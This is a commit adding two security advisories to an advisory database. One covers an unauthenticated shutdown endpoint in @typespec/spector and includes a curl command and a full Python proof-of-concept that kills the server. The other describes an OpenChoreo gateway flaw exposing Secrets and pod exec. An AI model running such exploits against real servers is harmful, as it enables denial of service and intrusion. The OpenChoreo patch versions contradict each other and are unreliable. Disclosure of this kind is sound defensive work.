Skip to content

Commit 773157c

Browse files
1 parent 275d846 commit 773157c

2 files changed

Lines changed: 214 additions & 0 deletions

File tree

Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-7q9c-hpx7-9cwm",
4+
"modified": "2026-09-04T21:43:13Z",
5+
"published": "2026-09-04T21:43:13Z",
6+
"aliases": [],
7+
"summary": "TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop",
8+
"details": "### Summary\n\n`@typespec/spector` registers a `POST /.admin/stop` HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to `0.0.0.0` by default (all interfaces), this endpoint is exposed to any host that can reach the server's port—not just localhost—making a complete denial-of-service trivially achievable with one HTTP request. Severity is **High (CVSS 7.5)**.\n\n### Details\n\nThe vulnerability originates in `packages/spector/src/routes/admin.ts` at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever:\n\n```ts\n// packages/spector/src/routes/admin.ts:7-12\nrouter.post(AdminUrls.stop, (_req, res) => {\n logger.info(\"Received signal to stop server. Exiting...\");\n res.status(202).end();\n setTimeout(() => {\n process.exit(0);\n });\n});\n```\n\nThe constant `AdminUrls.stop` resolves to `/.admin/stop` (`packages/spector/src/constants.ts:1-3`).\n\nThe complete attack-reachable call chain is:\n\n1. **`packages/spector/src/cli/cli.ts:139-166`** — `tsp-spector serve <scenariosPaths..>` starts the server on default port `3000`. No `host` option is offered, so binding address is determined by the Express/Node.js default.\n2. **`packages/spector/src/actions/serve.ts:28-33`** — constructs `MockApiApp` and calls `start()` without supplying a host argument.\n3. **`packages/spector/src/app/app.ts:39-40`** — registers `internalRouter` at `/`, which includes the admin routes.\n4. **`packages/spector/src/routes/index.ts:4-5`** — mounts `adminRoutes` under `/`.\n5. **`packages/spector/src/routes/admin.ts:7-12`** — the `POST /.admin/stop` handler (the sink) is reached with zero authentication.\n6. **`packages/spector/src/server/server.ts:88`** — `this.app.listen(this.config.port)` is called without a host argument, causing Node.js/Express to bind on `0.0.0.0` (all network interfaces).\n\nThere is no authentication middleware, API token validation, `Authorization` header check, `Origin` header restriction, or IP allowlist anywhere between the inbound HTTP request and the `process.exit(0)` call. The admin route is mounted before scenario routes so it cannot be shadowed.\n\n### PoC\n\n**Prerequisites:**\n\n```\ngit clone https://github.com/microsoft/typespec\ncd typespec\n# Checkout commit d88ddc16 (affected version 0.1.0-alpha.26)\npnpm install\npnpm build\n```\n\n**Step 1 — Start the mock server:**\n\n```bash\npnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000\n# Server listens on 0.0.0.0:3000 by default\n```\n\nAlternatively, use the provided Docker environment:\n\n```bash\n# Build context: reports/npm_web_64_microsoft__typespec/\ndocker build -t vuln002-spector -f vuln-002/Dockerfile .\ndocker run -d -p 3001:3000 --name vuln002-server vuln002-spector\n```\n\n**Step 2 — Execute the exploit (single unauthenticated request):**\n\n```bash\ncurl -i -X POST http://<server-host>:3000/.admin/stop\n```\n\nUsing the provided PoC script:\n\n```bash\npython3 vuln-002/poc.py --host 127.0.0.1 --port 3001\n```\n\n**Step 3 — Observe the result:**\n\n```\nHTTP/1.1 202 Accepted\n```\n\nThe server process immediately exits. Subsequent connection attempts are refused. Docker logs show:\n\n```\ninfo Received signal to stop server. Exiting...\n```\n\nDocker inspect confirms `ExitCode=0, Status=exited`. No credentials, tokens, or special headers are required at any step.\n\n### Impact\n\nThis is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. An unauthenticated remote attacker who can send HTTP traffic to the port where `tsp-spector serve` is listening can terminate the server process with a single POST request, resulting in a complete denial of service.\n\nThe primary victims are development or CI/CD pipeline operators who run `tsp-spector serve` in environments where the port is reachable from untrusted network segments—for example, a shared CI runner, a cloud developer environment, a container without proper network isolation, or any host with the port exposed to a network. Because the server binds to `0.0.0.0` by default and the CLI offers no `--host` option to restrict the binding address, operators have no built-in mechanism to mitigate this risk without external firewall rules.\n\nAlthough `@typespec/spector` is a development/testing tool, there is a clear attacker-victim trust boundary: a third party reachable over the network is distinct from the developer who started the server. The default configuration is vulnerable without any additional attacker capability beyond network reachability.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop\n# Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)\n# CWE-306: Missing Authentication for Critical Function CVSS 7.5 (High)\n#\n# Build context: reports/npm_web_64_microsoft__typespec/\n# Build: docker build -t vuln002-spector -f vuln-002/Dockerfile .\n# Run: docker run -d -p 3000:3000 --name vuln002-server vuln002-spector\n\nFROM node:22-slim\n\n# Install tsx to run TypeScript source files directly without compilation.\n# This lets us use the actual repository .ts files as-is.\nRUN npm install -g tsx@4\n\nWORKDIR /poc\n\n# Minimal package.json declaring ESM mode\nRUN echo '{\"type\":\"module\"}' > package.json\n\n# Install only the npm packages actually used by the vulnerable code path:\n# express — web framework (admin.ts, routes/index.ts, server.ts)\n# picocolors — terminal colors (logger.ts)\nRUN npm install express picocolors\n\n# -----------------------------------------------------------------------\n# Copy the EXACT vulnerable source files from the repository.\n# No source file is modified — they are used verbatim.\n# -----------------------------------------------------------------------\n\n# packages/spector/src/constants.ts\n# Defines AdminUrls.stop = \"/.admin/stop\"\nCOPY repo/packages/spector/src/constants.ts ./spector/constants.ts\n\n# packages/spector/src/logger.ts\n# Simple console logger; imported by admin.ts\nCOPY repo/packages/spector/src/logger.ts ./spector/logger.ts\n\n# packages/spector/src/routes/admin.ts ← VULNERABILITY SINK\n# Registers POST /.admin/stop with NO authentication → process.exit(0)\nCOPY repo/packages/spector/src/routes/admin.ts ./spector/routes/admin.ts\n\n# packages/spector/src/routes/index.ts\n# Mounts adminRoutes at \"/\"\nCOPY repo/packages/spector/src/routes/index.ts ./spector/routes/index.ts\n\n# Minimal entry point that connects the router to the HTTP server,\n# replicating the behaviour of MockApiApp.start() + MockApiServer.start()\nCOPY vuln-002/server-entry.ts ./server-entry.ts\n\nEXPOSE 3000\n\n# tsx strips TypeScript types at runtime — no separate compile step needed\nCMD [\"tsx\", \"server-entry.ts\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-002: Unauthenticated Remote Shutdown via POST /.admin/stop\nPackage: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)\nCWE: CWE-306 — Missing Authentication for Critical Function\nCVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Base Score: 7.5 (High)\n\nVulnerability:\n packages/spector/src/routes/admin.ts:7 registers POST /.admin/stop without\n any authentication, token, Origin, or IP-source check. The handler calls\n process.exit(0) after returning HTTP 202. The server listens on 0.0.0.0\n (packages/spector/src/server/server.ts:88) so any network-reachable client\n can terminate the process with a single unauthenticated POST request.\n\nUsage:\n python3 poc.py [--host HOST] [--port PORT]\n\"\"\"\n\nimport sys\nimport time\nimport socket\nimport argparse\nimport urllib.request\nimport urllib.error\n\n\nBANNER = \"\"\"\n================================================================\nVULN-002: Unauthenticated Remote Shutdown — POST /.admin/stop\nPackage : @typespec/spector 0.1.0-alpha.26\nCWE : CWE-306 CVSS 7.5 (High)\n================================================================\n\"\"\"\n\nPASS_MSG = \"\"\"\n[EXPLOIT SUCCESSFUL]\n 1. Server accepted an unauthenticated POST to /.admin/stop\n 2. Server responded HTTP 202 Accepted with no credential check\n 3. Server process exited — subsequent connection attempt refused\n 4. Zero authentication, tokens, or Origin restrictions enforced\n================================================================\n\"\"\"\n\nFAIL_MSG = \"\"\"\n[EXPLOIT FAILED]\nCheck that the Docker container is running:\n docker run -d -p 3000:3000 --name vuln002-server vuln002-spector\n================================================================\n\"\"\"\n\n\ndef is_port_open(host: str, port: int, timeout: float = 2.0) -> bool:\n \"\"\"Return True if TCP port accepts connections.\"\"\"\n try:\n with socket.create_connection((host, port), timeout=timeout):\n return True\n except (ConnectionRefusedError, socket.timeout, OSError):\n return False\n\n\ndef wait_for_server(host: str, port: int, max_wait: float = 30.0) -> bool:\n \"\"\"Poll until the server is reachable or max_wait seconds elapse.\"\"\"\n print(f\"[*] Waiting for server at {host}:{port} (up to {max_wait}s) ...\")\n deadline = time.monotonic() + max_wait\n while time.monotonic() < deadline:\n if is_port_open(host, port):\n print(f\"[+] Server is reachable at {host}:{port}\")\n return True\n time.sleep(0.5)\n return False\n\n\ndef send_unauthenticated_stop(host: str, port: int) -> int:\n \"\"\"\n Send POST /.admin/stop with no credentials and return the HTTP status code.\n\n This is the exploit request. No Authorization header, no token, no\n special Origin — the server accepts it as-is.\n \"\"\"\n url = f\"http://{host}:{port}/.admin/stop\"\n print(f\"[*] Sending unauthenticated POST to {url}\")\n print(f\"[*] Request headers: (none beyond Host and Content-Length:0)\")\n\n req = urllib.request.Request(url, data=b\"\", method=\"POST\")\n try:\n with urllib.request.urlopen(req, timeout=5) as resp:\n code = resp.status\n print(f\"[+] HTTP response: {code} {resp.reason}\")\n return code\n except urllib.error.HTTPError as exc:\n print(f\"[+] HTTP error response: {exc.code} {exc.reason}\")\n return exc.code\n except urllib.error.URLError as exc:\n # Connection closed before response (process.exit race) still counts\n print(f\"[+] Connection dropped during response: {exc.reason}\")\n return 202 # server accepted and exited before full response\n\n\ndef main() -> None:\n parser = argparse.ArgumentParser(\n description=\"PoC: unauthenticated remote shutdown of tsp-spector mock server\"\n )\n parser.add_argument(\"--host\", default=\"127.0.0.1\", help=\"Target host (default: 127.0.0.1)\")\n parser.add_argument(\"--port\", type=int, default=3000, help=\"Target port (default: 3000)\")\n args = parser.parse_args()\n\n print(BANNER)\n\n # Step 1 — Confirm the server is running before the attack\n if not wait_for_server(args.host, args.port):\n print(f\"[-] Server not reachable at {args.host}:{args.port} after 30 s\")\n print(FAIL_MSG)\n sys.exit(1)\n\n print()\n print(\"[STEP 1] Server confirmed running — unauthenticated attacker can reach it\")\n\n # Step 2 — Send the exploit (single unauthenticated POST)\n print()\n print(\"[STEP 2] Sending exploit: POST /.admin/stop (no credentials)\")\n status = send_unauthenticated_stop(args.host, args.port)\n\n if status != 202:\n print(f\"[-] Expected HTTP 202 Accepted, got {status}\")\n print(FAIL_MSG)\n sys.exit(1)\n\n print(\"[+] HTTP 202 Accepted — server acknowledged shutdown with no auth check\")\n\n # Step 3 — Verify the process actually exited\n print()\n print(\"[STEP 3] Verifying server has terminated ...\")\n time.sleep(2)\n\n if is_port_open(args.host, args.port):\n print(\"[-] Server is still accepting connections (exploit did not terminate process)\")\n print(FAIL_MSG)\n sys.exit(1)\n\n print(\"[+] Connection refused — server process has exited\")\n\n # All three steps passed → exploit confirmed\n print(PASS_MSG)\n sys.exit(0)\n\n\nif __name__ == \"__main__\":\n main()\n```",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "@typespec/spector"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "0.1.0-alpha.27"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 0.1.0-alpha.26"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/microsoft/typespec/security/advisories/GHSA-7q9c-hpx7-9cwm"
43+
},
44+
{
45+
"type": "WEB",
46+
"url": "https://github.com/microsoft/typespec/pull/11274"
47+
},
48+
{
49+
"type": "WEB",
50+
"url": "https://github.com/microsoft/typespec/commit/30d6f6598dd796e2d6aea038139d29b91e6a2da7"
51+
},
52+
{
53+
"type": "WEB",
54+
"url": "https://github.com/microsoft/typespec/commit/39f8f0230bb59b17464d8173b6bff4ddee8082a1"
55+
},
56+
{
57+
"type": "PACKAGE",
58+
"url": "https://github.com/microsoft/typespec"
59+
},
60+
{
61+
"type": "WEB",
62+
"url": "https://github.com/microsoft/typespec/releases/tag/@typespec/spector@0.1.0-alpha.27"
63+
}
64+
],
65+
"database_specific": {
66+
"cwe_ids": [
67+
"CWE-306"
68+
],
69+
"severity": "HIGH",
70+
"github_reviewed": true,
71+
"github_reviewed_at": "2026-09-04T21:43:13Z",
72+
"nvd_published_at": null
73+
}
74+
}
Lines changed: 140 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,140 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-rh53-xvx2-j327",
4+
"modified": "2026-09-04T21:41:39Z",
5+
"published": "2026-09-04T21:41:38Z",
6+
"aliases": [
7+
"CVE-2026-73842"
8+
],
9+
"summary": "OpenChoreo: cluster-gateway internal proxy performs no caller authentication and is not read-only — data-plane Secret disclosure and arbitrary Kubernetes mutation",
10+
"details": "### Summary\n\nThe OpenChoreo control-plane cluster-gateway exposes internal management APIs (`/api/proxy/`, `/api/exec/`, `/api/wirelogs/`) that tunnel requests through to connected data planes' Kubernetes APIs, but the internal listener authenticates no caller. Its request validator permits mutating HTTP methods and reads of Secrets in tenant namespaces (only kube-system Secrets are blocked), so although the client library documents these requests as \"read-only,\" the server enforces no such restriction. Any party able to reach the internal listener can — with no client certificate or token — read Secrets in any tenant namespace, create/modify/delete workloads, and exec into pods across every connected data plane.\n\n### Impact\n\nAn attacker with network access to the cluster-gateway internal listener obtains tunneled access to every connected data plane's Kubernetes API with no caller-level access control. Across all connected data planes, this allows:\n\n- Secret disclosure — reading any Secret outside `kube-system` in any tenant namespace (database credentials, cloud/KMS keys, TLS private keys), independent of any workload ServiceAccount permissions.\n- Workload tampering or destruction — creating, modifying, or deleting Deployments, Services, and other resources.\n- Pod command execution inside workload pods via `/api/exec/`.\n\nThis is also the missing second authorization layer behind GHSA-52gf-6rpq-fgmx (the openchoreo-api exec/wirelogs cross-project authorization bypass): because the gateway provides no compensating authorization, that bypass — and any other authz gap or SSRF that reaches the internal API — reaches the data-plane Kubernetes API unchecked.\n\nDirect exploitability depends on the network isolation of the internal listener, which is not fixed in source. Where the internal port is reachable by untrusted workloads with no restrictive NetworkPolicy — and with impact landing in a separate data-plane cluster — this is Critical; it is scored conservatively as High otherwise.\n\n### Patches\n\nFixed in 1.0.3, 1.1.3, and 1.2.0. Upgrade path: 1.1.x → 1.1.2, 1.0.x and earlier → 1.0.2, 1.2.0-rc1 line → 1.2.0.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/openchoreo/openchoreo"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.0.3"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "Go",
40+
"name": "github.com/openchoreo/openchoreo"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "1.1.0"
48+
},
49+
{
50+
"fixed": "1.1.3"
51+
}
52+
]
53+
}
54+
]
55+
},
56+
{
57+
"package": {
58+
"ecosystem": "Go",
59+
"name": "github.com/openchoreo/openchoreo"
60+
},
61+
"ranges": [
62+
{
63+
"type": "ECOSYSTEM",
64+
"events": [
65+
{
66+
"introduced": "1.2.0-rc.1"
67+
},
68+
{
69+
"fixed": "1.2.0"
70+
}
71+
]
72+
}
73+
],
74+
"database_specific": {
75+
"last_known_affected_version_range": "< 1.2.0-rc.2"
76+
}
77+
}
78+
],
79+
"references": [
80+
{
81+
"type": "WEB",
82+
"url": "https://github.com/openchoreo/openchoreo/security/advisories/GHSA-rh53-xvx2-j327"
83+
},
84+
{
85+
"type": "ADVISORY",
86+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73842"
87+
},
88+
{
89+
"type": "WEB",
90+
"url": "https://github.com/openchoreo/openchoreo/pull/4256"
91+
},
92+
{
93+
"type": "WEB",
94+
"url": "https://github.com/openchoreo/openchoreo/pull/4258"
95+
},
96+
{
97+
"type": "WEB",
98+
"url": "https://github.com/openchoreo/openchoreo/pull/4259"
99+
},
100+
{
101+
"type": "WEB",
102+
"url": "https://github.com/openchoreo/openchoreo/commit/50fcae3f1753fd0ac3ae655a3fc080a761c49c04"
103+
},
104+
{
105+
"type": "WEB",
106+
"url": "https://github.com/openchoreo/openchoreo/commit/93e6f10953cfc249af2222ddb6730d4b0a729129"
107+
},
108+
{
109+
"type": "WEB",
110+
"url": "https://github.com/openchoreo/openchoreo/commit/e3da3c63dcf0895c693cb17ce142ef95e959b62a"
111+
},
112+
{
113+
"type": "PACKAGE",
114+
"url": "https://github.com/openchoreo/openchoreo"
115+
},
116+
{
117+
"type": "WEB",
118+
"url": "https://github.com/openchoreo/openchoreo/releases/tag/v1.0.3"
119+
},
120+
{
121+
"type": "WEB",
122+
"url": "https://github.com/openchoreo/openchoreo/releases/tag/v1.1.3"
123+
},
124+
{
125+
"type": "WEB",
126+
"url": "https://github.com/openchoreo/openchoreo/releases/tag/v1.2.0-rc.2"
127+
}
128+
],
129+
"database_specific": {
130+
"cwe_ids": [
131+
"CWE-269",
132+
"CWE-306",
133+
"CWE-862"
134+
],
135+
"severity": "CRITICAL",
136+
"github_reviewed": true,
137+
"github_reviewed_at": "2026-09-04T21:41:38Z",
138+
"nvd_published_at": "2026-08-13T22:17:29Z"
139+
}
140+
}

0 commit comments

Comments
 (0)